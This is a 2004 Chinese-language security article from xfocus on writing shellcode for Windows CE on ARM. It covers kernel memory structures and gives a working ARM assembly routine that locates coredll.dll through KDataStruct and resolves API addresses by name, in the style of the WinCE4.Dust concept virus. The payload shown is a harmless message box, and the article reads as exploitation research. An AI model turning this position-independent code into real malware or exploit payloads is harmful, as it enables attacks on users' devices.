创建时间:2004-11-05 更新时间:2004-12-06
文章属性:原创
文章提交:san (san_at_xfocus.org)
整理:san
创建:2004.10.17
更新:2004.11.09
--[ 1. ARM简介
从Platform Builder来看,Windows CE支持相当多CPU,但现在市场上实际销售的PDA几乎全部采用ARM芯片。ARM是一个RISC构架的32位微处理器,它一次有16个可见的寄存器:r0-r15。其中r0-r7是通用寄存器并可以做任何目的;r8-r12也是通用寄存器,但是在切换到FIQ模式的时候,使用它们的影子(shadow)寄存器;最后这三个是特殊寄存器:
r13 (sp) - 堆栈指针
r14 (lr) - 链接寄存器
r15 (pc/psr) - 程序计数器/状态寄存器
IDAPro和调试器里都是用别名表示。和其它RISC指令类似,ARM指令主要有分支(branch)指令、载入和存储指令和其它指令等,除了载入和存储指令,其它指令都是不能直接操作内存的,而且载入和存储指令操作的是4字节类型,那么内存地址必须要求4字节对齐,这也是RISC指令和CISC指令差异比较大的地方,在操作字符串的时候相对就比较麻烦。ARM指令一个很有趣的地方就是可以直接修改访问pc寄存器,这样如果写shellcode的话就不必象SPARC或PowerPC一样需要多条指令来定位自身。
另外Windows CE默认使用的字节序是little-endian。
--[ 2. Windows CE核心结构
Windows CE是一个32位的操作系统,所以其虚拟内存的大小是4GB(2的32次方)。Windows CE把这4GB虚拟内存空间分为低地址2GB和高地址2GB。应用程序使用的地址空间是低地址2GB,高地址2GB专供Windows CE内核使用。在Windows CE 3.0源码的PRIVATE/WINCEOS/COREOS/NK/INC/nkarm.h头文件里有一些有趣的信息:
/* High memory layout * * This structure is mapped in at the end of the 4GB virtual * address space. * * 0xFFFD0000 - first level page table (uncached) (2nd half is r/o) * 0xFFFD4000 - disabled for protection * 0xFFFE0000 - second level page tables (uncached) * 0xFFFE4000 - disabled for protection * 0xFFFF0000 - exception vectors * 0xFFFF0400 - not used (r/o) * 0xFFFF1000 - disabled for protection * 0xFFFF2000 - r/o (physical overlaps with vectors) * 0xFFFF2400 - Interrupt stack (1k) * 0xFFFF2800 - r/o (physical overlaps with Abort stack & FIQ stack) * 0xFFFF3000 - disabled for protection * 0xFFFF4000 - r/o (physical memory overlaps with vectors & intr. stack & FIQ stack) * 0xFFFF4900 - Abort stack (2k - 256 bytes) * 0xFFFF5000 - disabled for protection * 0xFFFF6000 - r/o (physical memory overlaps with vectors & intr. stack) * 0xFFFF6800 - FIQ stack (256 bytes) * 0xFFFF6900 - r/o (physical memory overlaps with Abort stack) * 0xFFFF7000 - disabled * 0xFFFFC000 - kernel stack * 0xFFFFC800 - KDataStruct * 0xFFFFCC00 - disabled for protection (2nd level page table for 0xFFF00000) */ typedef struct ARM_HIGH { ulong firstPT[4096]; // 0xFFFD0000: 1st level page table PAGETBL aPT[16]; // 0xFFFD4000: 2nd level page tables char reserved2[0x20000-0x4000-16*sizeof(PAGETBL)]; char exVectors[0x400]; // 0xFFFF0000: exception vectors char reserved3[0x2400-0x400]; char intrStack[0x400]; // 0xFFFF2400: interrupt stack char reserved4[0x4900-0x2800]; char abortStack[0x700]; // 0xFFFF4900: abort stack char reserved5[0x6800-0x5000]; char fiqStack[0x100]; // 0xFFFF6800: FIQ stack char reserved6[0xC000-0x6900]; char kStack[0x800]; // 0xFFFFC000: kernel stack struct KDataStruct kdata; // 0xFFFFC800: kernel data page } ARM_HIGH;
其中KDataStruct的结构非常重要而且有意思,有些类似Win32下的PEB结构,定义了系统各种重要的信息:
struct KDataStruct { LPDWORD lpvTls; /* 0x000 Current thread local storage pointer */ HANDLE ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */ // NUM_SYS_HANDLES == 32 : PUBLIC/COMMON/SDK/INC/kfuncs.h 0x004 SH_WIN32 0x008 SH_CURTHREAD 0x00c SH_CURPROC 0x010 SH_KWIN32 0x044 SH_GDI 0x048 SH_WMGR 0x04c SH_WNET 0x050 SH_COMM 0x054 SH_FILESYS_APIS 0x058 SH_SHELL 0x05c SH_DEVMGR_APIS 0x060 SH_TAPI 0x064 SH_PATCHER 0x06c SH_SERVICES char bResched; /* 0x084 reschedule flag */ char cNest; /* 0x085 kernel exception nesting */ char bPowerOff; /* 0x086 TRUE during "power off" processing */ char bProfileOn; /* 0x087 TRUE if profiling enabled */ ulong unused; /* 0x088 unused */ ulong rsvd2; /* 0x08c was DiffMSec */ PPROCESS pCurPrc; /* 0x090 ptr to current PROCESS struct */ PTHREAD pCurThd; /* 0x094 ptr to current THREAD struct */ DWORD dwKCRes; /* 0x098 */ ulong handleBase; /* 0x09c handle table base address */ PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */ LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */ LPVOID alpvIntrData[SYSINTR_MAX_DEVICES]; /* 0x220 */ ulong pAPIReturn; /* 0x2a0 direct API return address for kernel mode */ uchar *pMap; /* 0x2a4 ptr to MemoryMap array */ DWORD dwInDebugger; /* 0x2a8 !0 when in debugger */ PTHREAD pCurFPUOwner; /* 0x2ac current FPU owner */ PPROCESS pCpuASIDPrc; /* 0x2b0 current ASID proc */ long nMemForPT; /* 0x2b4 - Memory used for PageTables */ long alPad[18]; /* 0x2b8 - padding */ DWORD aInfo[32]; /* 0x300 - misc. kernel info */ // PUBLIC/COMMON/OAK/INC/pkfuncs.h 0x300 KINX_PROCARRAY address of process array 0x304 KINX_PAGESIZE system page size 0x308 KINX_PFN_SHIFT shift for page # in PTE 0x30c KINX_PFN_MASK mask for page # in PTE 0x310 KINX_PAGEFREE # of free physical pages 0x314 KINX_SYSPAGES # of pages used by kernel 0x318 KINX_KHEAP ptr to kernel heap array 0x31c KINX_SECTIONS ptr to SectionTable array 0x320 KINX_MEMINFO ptr to system MemoryInfo struct 0x324 KINX_MODULES ptr to module list 0x328 KINX_DLL_LOW lower bound of DLL shared space 0x32c KINX_NUMPAGES total # of RAM pages 0x330 KINX_PTOC ptr to ROM table of contents 0x334 KINX_KDATA_ADDR kernel mode version of KData 0x338 KINX_GWESHEAPINFO Current amount of gwes heap in use 0x33c KINX_TIMEZONEBIAS Fast timezone bias info 0x340 KINX_PENDEVENTS bit mask for pending interrupt events 0x344 KINX_KERNRESERVE number of kernel reserved pages 0x348 KINX_API_MASK bit mask for registered api sets 0x34c KINX_NLS_CP hiword OEM code page, loword ANSI code page 0x350 KINX_NLS_SYSLOC Default System locale 0x354 KINX_NLS_USERLOC Default User locale 0x358 KINX_HEAP_WASTE Kernel heap wasted space 0x35c KINX_DEBUGGER For use by debugger for protocol communication 0x360 KINX_APISETS APIset pointers 0x364 KINX_MINPAGEFREE water mark of the minimum number of free pages 0x368 KINX_CELOGSTATUS CeLog status flags 0x36c KINX_NKSECTION Address of NKSection 0x370 KINX_PWR_EVTS Events to be set after power on 0x37c KINX_NKSIG last entry of KINFO -- signature when NK is ready /* 0x380 - interlocked api code */ /* 0x400 - end */ }
Win32下可以通过PEB结构定位kernel32.dll的基址,然后通过PE文件结构查找Windows API。在Windows CE下,coredll.dll的作用相当于Win32的kernel32.dll,由于KDataStruct结构开始于0xFFFFC800,偏移0x324的aInfo[KINX_MODULES]是一个指向模块链表的指针,通过这个链表能否找到coredll.dll模块呢?让我们来看一下模块的结构:
// PRIVATE/WINCEOS/COREOS/NK/INC/kernel.h typedef struct Module { LPVOID lpSelf; /* 0x00 Self pointer for validation */ PMODULE pMod; /* 0x04 Next module in chain */ LPWSTR lpszModName; /* 0x08 Module name */ DWORD inuse; /* 0x0c Bit vector of use */ DWORD calledfunc; /* 0x10 Called entry but not exit */ WORD refcnt[MAX_PROCESSES]; /* 0x14 Reference count per process*/ LPVOID BasePtr; /* 0x54 Base pointer of dll load (not 0 based) */ DWORD DbgFlags; /* 0x58 Debug flags */ LPDBGPARAM ZonePtr; /* 0x5c Debug zone pointer */ ulong startip; /* 0x60 0 based entrypoint */ openexe_t oe; /* 0x64 Pointer to executable file handle */ typedef struct openexe_t { union { int hppfs; // ppfs handle HANDLE hf; // object store handle TOCentry *tocptr; // rom entry pointer }; // 0x64 BYTE filetype; // 0x68 BYTE bIsOID; // 0x69 WORD pagemode; // 0x6a union { DWORD offset; DWORD dwExtRomAttrib; }; // 0x6c union { Name *lpName; CEOID ceOid; }; // 0x70 } openexe_t; e32_lite e32; /* 0x74 E32 header */ // PUBLIC/COMMON/OAK/INC/pehdr.h typedef struct e32_lite { /* PE 32-bit .EXE header */ unsigned short e32_objcnt; /* 0x74 Number of memory objects */ BYTE e32_cevermajor; /* 0x76 version of CE built for */ BYTE e32_ceverminor; /* 0x77 version of CE built for */ unsigned long e32_stackmax; /* 0x78 Maximum stack size */ unsigned long e32_vbase; /* 0x7c Virtual base address of module */ unsigned long e32_vsize; /* 0x80 Virtual size of the entire image */ unsigned long e32_sect14rva; /* 0x84 section 14 rva */ unsigned long e32_sect14size; /* 0x88 section 14 size */ struct info e32_unit[LITE_EXTRA]; /* 0x8c Array of extra info units */ struct info { /* Extra information header block */ unsigned long rva; /* Virtual relative address of info */ unsigned long size; /* Size of information block */ } 0x8c EXP Export table position 0x94 IMP Import table position 0x9c RES Resource table position 0xa4 EXC Exception table position 0xac SEC Security table position 0xb4 FIX Fixup table position } e32_lite, *LPe32_list; o32_lite *o32_ptr; /* 0xbc O32 chain ptr */ DWORD dwNoNotify; /* 0xc0 1 bit per process, set if notifications disabled */ WORD wFlags; // 0xc4 BYTE bTrustLevel; // 0xc6 BYTE bPadding; // 0xc7 PMODULE pmodResource; /* 0xc8 module that contains the resources */ DWORD rwLow; /* 0xcc base address of RW section for ROM DLL */ DWORD rwHigh; /* 0xd0 high address RW section for ROM DLL */ PGPOOL_Q pgqueue; /* 0xcc list of the page owned by the module */ typedef struct _PGPOOL_Q { WORD idxHead; /* head of the queue */ WORD idxTail; /* tail of the queue */ } PGPOOL_Q, *PPGPOOL_Q; } Module;
模块结构偏移0x08是指向模块名字的指针,偏移0x04指向链表里的下一个模块,通过这个模块名字可以在模块链表里找到我们需要的coredll.dll。而偏移0x7c就是该模块的虚拟基址,偏移0x8c是导出表的相对地址。Windows CE使用的PE结构和Win32是一样,那么有写Win32 shellcode经验的朋友自然会想着从coredll.dll的基址按照PE结构顺藤摸瓜来搜索函数地址。但是我们用EVC实际调试时发现coredll.dll找到的基址是0x01F60000,而这个地址的内存是没有分配的(调试器里都是问号),可以访问的地址是从0x01F61000,这和IDAPro反汇编coredll.dll(从rom文件中dump出来,wince下系统在使用的文件连读的权限都没有)出的起始地址一样。Windows CE可能为了节省内存,没有加载文件最开始的0x1000字节头结构。不过没有关系,因为我们已经从模块结构得到该模块的导出表相对地址,直接从导出表就可以查找函数地址了。
--[ 3. Windows CE演示实例
Ratter/29A的WinCE4.Dust代码可能是为了减少体积,他给出的方法是把要搜索函数的序数索引硬编码到程序里,然后根据导出表的地址定位导出地址表,再用硬编码的序数索引来算出函数地址。这种方法让人感觉挺别扭的,虽然代码减少了,可是通用性可能会打折扣,象编写Win32 shellcode一样通过函数名来搜索的方法可能更通用一些。下面的代码就是实现这样的功能。
; armasm test.asm ; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj CODE32 EXPORT WinMainCRTStartup AREA .text, CODE, ARM test_start ; r11 - base pointer test_code_start PROC stmdb sp!, {r0 - r12, lr, pc} bl get_export_section adr r2, mb bl lookup_imports mov r0, #0 adr r1, text adr r2, text mov r3, #0 ; MB_OK mov lr, pc mov pc, r9 ; MessageBoxW bl get_export_section adr r2, tp bl lookup_imports mov r0, #-1 mov r1, #0 mov lr, pc mov pc, r9 ; basic wide string compare wstrcmp PROC wstrcmp_iterate ldrh r2, [r0], #2 ldrh r3, [r1], #2 cmp r2, #0 cmpeq r3, #0 moveq pc, lr cmp r2, r3 beq wstrcmp_iterate mov pc, lr ENDP ; output: ; r0 - coredll base addr ; r1 - export section addr get_export_section PROC stmdb sp!, {r4 - r9, lr} ldr r4, =0xffffc800 ; KDataStruct ldr r5, =0x324 ; aInfo[KINX_MODULES] add r5, r4, r5 ldr r5, [r5] ; r5 now points to first module mov r6, r5 mov r7, #0 iterate ldr r0, [r6, #8] ; get dll name adr r1, coredll bl wstrcmp ; compare with coredll.dll ldreq r7, [r6, #0x7c] ; get dll base ldreq r8, [r6, #0x8c] ; get export section rva add r9, r7, r8 beq got_coredllbase ; is it what we're looking for? ldr r6, [r6, #4] cmp r6, #0 cmpne r6, r5 bne iterate ; nope, go on got_coredllbase mov r0, r7 add r1, r8, r7 ; yep, we've got imagebase ; and export section pointer ldmia sp!, {r4 - r9, pc} ENDP coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0 DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0 ; basic string compare bstrcmp PROC bstrcmp_iterate ldrb r9, [r7], #1 ldrb r10, [r8], #1 cmp r9, #0 cmpeq r10, #0 moveq pc, lr cmp r9, r10 beq bstrcmp_iterate mov pc, lr ENDP ; r0 - coredll base addr ; r1 - export section addr ; r2 - function name addr lookup_imports PROC stmdb sp!, {r4 - r6, lr} ldr r4, [r1, #0x20] ; AddressOfNames add r4, r4, r0 mov r6, #0 ; counter lookup_imports_iterate ldr r7, [r4], #4 add r7, r7, r0 ; function name ponter mov r8, r2 ; find function name bl bstrcmp addne r6, r6, #1 bne lookup_imports_iterate ldr r5, [r1, #0x24] ; AddressOfNameOrdinals add r5, r5, r0 add r6, r6, r6 ldrh r9, [r5, r6] ; Ordinals ldr r5, [r1, #0x1c] ; AddressOfFunctions add r5, r5, r0 ldr r9, [r5, r9, LSL #2] ; function address rva add r9, r9, r0 ; function address ldmia sp!, {r4 - r6, pc} ENDP mb DCB "MessageBoxW", 0x0 tp DCB "TerminateProcess", 0x0,0x0,0x0,0x0 ALIGN 4 ; Dear User, am I allowed to spread? text DCB "H", 0x0, "e", 0x0, "l", 0x0, "l", 0x0, "o", 0x0, " ", 0x0 DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "!", 0x0 DCB 0x0, 0x0, 0x0, 0x0 ALIGN 4 LTORG test_end ; the code after test_end doesn't get copied to victims WinMainCRTStartup PROC b test_code_start ENDP ; first generation entry point host_entry mvn r0, #0 mov pc, lr END
代码还是比较傻,如果能把Win32 shellcode的hash引入可能代码会更好看一些。Ratter/29A在WinCE4.Dust虽然还只是个概念病毒,但是病毒的基本技术它都已经具备了,所以不难相信不久就会有更多的Windows CE病毒。如果作者不怀好意,用KernelIoControl把系统引导入BootLoader模式,那么对于很多非专业的用户来说无疑象遭遇CIH病毒一般可恶。
通过上面的代码不难相信很容易就能写出Windows CE下的shellcode,Seth Fogie在最近的defcon等会议上提到Windows CE下缓冲区溢出,随着PDA网络化程度越来越高,以及和手机的结合,相信Windows CE下的缓冲区溢出不久就会流行起来。不过Windows CE下缓冲区溢出可能会遭遇几个问题:
1. Windows CE是一个Unicode环境,它可能会把用户输入的数据转成Unicode格式。
2. 要在Windows CE上写解码shellcode可能会有些问题,首先arm没有xor指令,另外还有可能遭遇指令缓存的问题。不是很清楚Windows CE对软中断指令swi怎么支持。
3. 不同厂商不同版本的PDA可能存在这样那样的差异,导致攻击程序无法通用。
不过Windows CE现在已经发展的很成熟了,可以进来看看。
--[ 4. 参考资料:
1. ARM ASSEMBLER
http://www.heyrick.co.uk/assembler/index.html
2. misc notes on the xda and windows ce
http://www.xs4all.nl/~itsme/projects/xda/
3. Windows CE 3.0 Source Code
http://msdn.microsoft.com/embedded/prevver/ce3/download/source/default.aspx
4. Details Emerge on the First Windows Mobile Virus
http://www.informit.com/articles/article.asp?p=337071